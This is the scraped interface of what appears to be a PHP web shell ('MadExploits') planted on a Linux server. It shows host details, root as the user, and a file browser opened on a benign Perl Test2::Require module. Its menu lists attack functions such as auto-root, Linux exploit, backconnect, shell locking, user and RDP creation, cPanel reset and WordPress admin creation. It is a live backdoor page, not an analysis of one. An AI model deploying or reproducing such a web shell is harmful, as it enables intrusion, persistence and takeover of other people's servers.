Linux r-1tbfree-gecko-e8ip2zsa-2f967-wvg4t 6.12.63-84.121.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Dec 31 02:07:30 UTC 2025 x86_64
PHP/8.5.2 (Development Server)
: | : 10.16.14.243
Cant Read [ /etc/named.conf ]
8.5.2
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
perl /
5.40.1 /
Test2 /
[ HOME SHELL ]
Name
Size
Permission
Action
API
[ DIR ]
drwxr-xr-x
AsyncSubtest
[ DIR ]
drwxr-xr-x
Bundle
[ DIR ]
drwxr-xr-x
Compare
[ DIR ]
drwxr-xr-x
Event
[ DIR ]
drwxr-xr-x
EventFacet
[ DIR ]
drwxr-xr-x
Formatter
[ DIR ]
drwxr-xr-x
Hub
[ DIR ]
drwxr-xr-x
IPC
[ DIR ]
drwxr-xr-x
Manual
[ DIR ]
drwxr-xr-x
Plugin
[ DIR ]
drwxr-xr-x
Require
[ DIR ]
drwxr-xr-x
Tools
[ DIR ]
drwxr-xr-x
Util
[ DIR ]
drwxr-xr-x
Workflow
[ DIR ]
drwxr-xr-x
API.pm
48.43
KB
-rw-r--r--
AsyncSubtest.pm
19.08
KB
-rw-r--r--
Bundle.pm
1.52
KB
-rw-r--r--
Compare.pm
11.53
KB
-rw-r--r--
Event.pm
22.11
KB
-rw-r--r--
EventFacet.pm
1.46
KB
-rw-r--r--
Formatter.pm
3.86
KB
-rw-r--r--
Hub.pm
22.31
KB
-rw-r--r--
IPC.pm
3.1
KB
-rw-r--r--
Manual.pm
1.49
KB
-rw-r--r--
Mock.pm
22.27
KB
-rw-r--r--
Plugin.pm
1.83
KB
-rw-r--r--
Require.pm
2.65
KB
-rw-r--r--
Suite.pm
9.26
KB
-rw-r--r--
Todo.pm
3.77
KB
-rw-r--r--
Tools.pm
2.51
KB
-rw-r--r--
Transition.pod
13.17
KB
-rw-r--r--
Util.pm
10.33
KB
-rw-r--r--
V0.pm
11.56
KB
-rw-r--r--
Workflow.pm
7.13
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Require.pm
package Test2::Require; use strict; use warnings; our $VERSION = '0.000162'; use Test2::API qw/context/; use Carp qw/croak/; sub skip { my $class = shift; croak "Class '$class' needs to implement 'skip()'"; } sub import { my $class = shift; return if $class eq __PACKAGE__; my $skip = $class->skip(@_); return unless defined $skip; my $ctx = context(); $ctx->plan(0, SKIP => $skip || "No reason given."); $ctx->release; } 1; __END__ =pod =encoding UTF-8 =head1 NAME Test2::Require - Base class and documentation for skip-unless type test packages. =head1 DESCRIPTION Test2::Require::* packages are packages you load to ensure your test file is skipped unless a specific requirement is met. Modules in this namespace may subclass L<Test2::Require> if they wish, but it is not strictly necessary to do so. =head1 HOW DO I WRITE A 'REQUIRE' MODULE? =head2 AS A SUBCLASS package Test2::Require::Widget; use strict; use warnings; use base 'Test2::Require'; sub HAVE_WIDGETS { ... }; sub skip { my $class = shift; my @import_args = @_; if (HAVE_WIDGETS()) { # We have widgets, do not skip return undef; } else { # No widgets, skip the test return "Skipped because there are no widgets" unless HAVE_WIDGETS(); } } 1; A subclass of L<Test2::Require> simply needs to implement a C<skip()> method. This method will receive all import arguments. This method should return undef if the test should run, and should return a reason for skipping if the test should be skipped. =head2 STAND-ALONE If you do not wish to subclass L<Test2::Require> then you should write an C<import()> method: package Test2::Require::Widget; use strict; use warnings; use Test2::API qw/context/; sub HAVE_WIDGETS { ... }; sub import { my $class = shift; # Have widgets, should run. return if HAVE_WIDGETS(); # Use the context object to create the event my $ctx = context(); $ctx->plan(0, SKIP => "Skipped because there are no widgets"); $ctx->release; } 1; =head1 SOURCE The source code repository for Test2-Suite can be found at F<https://github.com/Test-More/Test2-Suite/>. =head1 MAINTAINERS =over 4 =item Chad Granum E<lt>exodist@cpan.orgE<gt> =back =head1 AUTHORS =over 4 =item Chad Granum E<lt>exodist@cpan.orgE<gt> =back =head1 COPYRIGHT Copyright 2018 Chad Granum E<lt>exodist@cpan.orgE<gt>. This program is free software; you can redistribute it and/or modify it under the same terms as Perl itself. See F<http://dev.perl.org/licenses/> =cut
Close